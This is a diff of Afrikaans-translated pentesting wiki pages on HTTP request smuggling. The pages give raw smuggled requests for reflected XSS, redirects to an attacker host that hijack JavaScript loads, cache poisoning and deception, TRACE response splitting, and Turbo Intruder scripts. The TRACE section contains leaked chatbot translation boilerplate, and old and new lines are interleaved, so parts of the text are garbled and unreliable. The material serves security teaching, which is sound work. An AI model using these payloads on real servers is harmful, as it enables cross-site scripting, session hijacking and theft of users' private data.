In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te benut:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -412,7 +519,7 @@ A=
Hierdie payload is gestruktureer om die kwesbaarheid te benut deur:
1. 'n `POST` versoek te begin, blykbaar tipies, met 'n `Transfer-Encoding: chunked` kop om die begin van smuggling aan te dui.
2. Volg met 'n `0`, wat die einde van die chunked boodskapliggaam aandui.
2. Volg met 'n `0`, wat die einde van die chunked boodskapliggaam merk.
3. Dan word 'n gesmugde `GET` versoek bekendgestel, waar die `User-Agent` kop met 'n skrip, `<script>alert(1)</script>`, ingespuit word, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende versoek verwerk.
Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale versoekbeperkings, en benut dus die Reflected XSS kwesbaarheid op 'n nie-standaard maar effektiewe manier.
@ -420,7 +527,7 @@ Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale v
#### HTTP/0.9
> [!CAUTION]
> In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9 ondersteun, mag dit moontlik wees om dit te omseil**!
> In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9** ondersteun, mag dit moontlik wees om dit te omseil!
Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam.
@ -428,7 +535,7 @@ In [**hierdie skrywe**](https://mizu.re/post/twisty-python), is dit misbruik met
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Toepassings lei dikwels van een URL na 'n ander deur die hostname van die `Host` kop in die herlei URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif te versoek, lei tot 'n herleiding om die schuif in te sluit:
Toepassings lei dikwels van een URL na 'n ander deur die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif aan te vra, lei tot 'n omleiding om die schuif in te sluit:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -438,7 +545,7 @@ Resultate in:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Alhoewel dit onskuldig lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
Alhoewel dit op die oog af onskadelik lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -464,17 +571,17 @@ Resultate in:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromenteer deur kwaadwillige JavaScript in antwoord te dien.
In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript in reaksie te bedien.
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se antwoord te manipuleer, is dit moontlik om die **cache te vergiftig**.
Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om die **cache te vergiftig**.
Voorheen het ons gesien hoe bediener-antwoorde verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html`-inhoud te lewer in antwoord op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik tot 'n Denial of Service (DoS) kan lei.
Hierdie tegniek word veral kragtig as 'n **Open Redirect-kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrif onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS)-aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te dien wat deur die aanvaller beheer word:
Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te bedien wat deur die aanvaller beheer word:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -498,7 +605,7 @@ Na suksesvolle **socket poisoning**, moet 'n **GET versoek** vir `/static/includ
Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n wye XSS-aanval ontketen.
### Gebruik HTTP versoek smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Gebruik van HTTP request smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
>
@ -516,7 +623,7 @@ Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
As hierdie gesmokkelde versoek 'n kasinskrywing wat bedoel is vir statiese inhoud (bv. `/someimage.png`) besoedel, mag die slagoffer se sensitiewe data van `/private/messages` onder die statiese inhoud se kasinskrywing gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry.
As hierdie gesmokkelde versoek 'n kasinskrywing vir statiese inhoud (bv. `/someimage.png`) besoedel, mag die slagoffer se sensitiewe data van `/private/messages` onder die kasinskrywing van die statiese inhoud gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry.
### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -526,7 +633,7 @@ TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please provide the text you would like translated to Afrikaans.
I'm ready to assist you with the translation. Please provide the text you would like to have translated.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -537,13 +644,13 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eers 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal reflekteer.\
'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eers 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal **reflekteer**.\
Aangesien die HEAD-antwoord 'n `Content-Length`-kop sal bevat, sal die **antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer**.\
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gekapte JS-lêer byvoorbeeld om arbitrêre JS-kode in te voeg**.
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gebufferde JS-lêer byvoorbeeld om arbitrêre JS-kode in te voeg**.
### Misbruik van TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Dit word aanbeveel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg, wat 'n ander manier voorstel om die TRACE-metode te misbruik. Soos opgemerk, is dit moontlik om 'n HEAD-versoek en 'n TRACE-versoek te smuggle om **sommige reflekteerde data** in die antwoord op die HEAD-versoek te beheer. Die lengte van die liggaam van die HEAD-versoek word basies in die Content-Length-kop aangedui en word gevorm deur die antwoord op die TRACE-versoek.
Dit word aanbeveel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg, wat 'n ander manier voorstel om die TRACE-metode te misbruik. Soos opgemerk, is dit moontlik om 'n HEAD-versoek en 'n TRACE-versoek te smuggle om **sommige reflekteerde data** in die antwoord op die HEAD-versoek te **beheer**. Die lengte van die liggaam van die HEAD-versoek word basies in die Content-Length-kop aangedui en word gevorm deur die antwoord op die TRACE-versoek.
Daarom sou die nuwe idee wees dat, met kennis van hierdie Content-Length en die data gegee in die TRACE-antwoord, dit moontlik is om die TRACE-antwoord 'n geldige HTTP-antwoord te laat bevat na die laaste byte van die Content-Length, wat 'n aanvaller in staat stel om die versoek na die volgende antwoord heeltemal te beheer (wat gebruik kan word om 'n cache-besoedeling uit te voer).
@ -566,7 +673,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Sal hierdie antwoorde genereer (let op hoe die HEAD antwoord 'n Content-Length het wat die TRACE antwoord deel van die HEAD liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP antwoord gesmuggle):
Sal hierdie antwoorde genereer (let op hoe die HEAD antwoord 'n Content-Length het wat die TRACE antwoord deel van die HEAD liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP antwoord gesmokkeld):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -589,7 +696,7 @@ Content-Length: 50
```
### Wapen van HTTP Versoek Smuggling met HTTP Antwoord Desynchronisasie
Het jy 'n HTTP Versoek Smuggling kwesbaarheid gevind en jy weet nie hoe om dit te benut nie. Probeer hierdie ander metode van benutting:
Het jy 'n HTTP Versoek Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie. Probeer hierdie ander metode van benutting:
{{#ref}}
../http-response-smuggling-desync.md
@ -609,7 +716,7 @@ browser-http-request-smuggling.md
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo indringer skripte
## Turbo intruder skripte
### CL.TE
@ -696,8 +803,10 @@ time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
## Gereedskap
## Tools
- HTTP Hacker (Burp BApp Store) – visualiseer concatenasie/raamwerk en lae‑vlak HTTP gedrag
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
@ -705,7 +814,7 @@ table.add(req)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde versoek smuggling verskille te vind.
## Verwysings
## References
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -716,6 +825,10 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Wees versigtig vir die vals vals‑positiewe: hoe om HTTP pipelining van versoek smuggling te onderskei – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy – kliënt‑kant desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
{{#include ../../banners/hacktricks-training.md}}

20
src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
View File

@ -1,7 +1,23 @@
# Blaaier HTTP Versoek Smuggling
# Bladsy HTTP Versoek Smuggling
{{#include ../../banners/hacktricks-training.md}}
**Kontroleer die pos [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
Bladsy-gedre desync (ook bekend as kliënt-kant versoek smuggling) misbruik die slagoffer se blaaiers om 'n verkeerd-geframeerde versoek op 'n gedeelde verbinding te plaas sodat daaropvolgende versoeke buite sinchronisasie deur 'n downstream komponent geanaliseer word. Anders as klassieke FE↔BE smuggling, is payloads beperk tot wat 'n blaaiers wettiglik kan stuur oor verskillende oorspronge.
Belangrike beperkings en wenke
- Gebruik slegs headers en sintaksis wat 'n blaaiers kan uitstuur via navigasie, fetch, of vorm indiening. Header obfuscasies (LWS truuks, duplikaat TE, ongeldige CL) sal oor die algemeen nie gestuur word nie.
- Teiken eindpunte en intermediêre wat invoer reflekteer of antwoorde kas. Nuttige impakte sluit kas vergiftiging, die lek van voorpunt ingespoten headers, of die omseiling van voorpunt pad/metode kontroles in.
- Hergebruik is belangrik: pas die vervaardigde versoek aan sodat dit dieselfde HTTP/1.1 of H2 verbinding deel as 'n hoë-waarde slagoffer versoek. Verbinding-geslote/staatlike gedrag versterk die impak.
- Verkies primitiewe wat nie aangepaste headers vereis nie: pad verwarring, navraag-string inspuiting, en liggaam vorming via vorm-gecodeerde POSTs.
- Valideer werklike bediener-kant desync teenoor bloot pyplyn artefakte deur weer te toets sonder hergebruik, of deur die HTTP/2 geneste-antwoord kontrole te gebruik.
Vir eind-tot-eind tegnieke en PoCs, sien:
- PortSwigger Navorsing – Bladsy‑Gedre Desync Aanvalle: https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Akademie – kliënt‑kant desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
## Verwysings
- [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- Onderskeiding van pyplyn teenoor smuggling (agtergrond oor hergebruik vals-positiewe): https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
{{#include ../../banners/hacktricks-training.md}}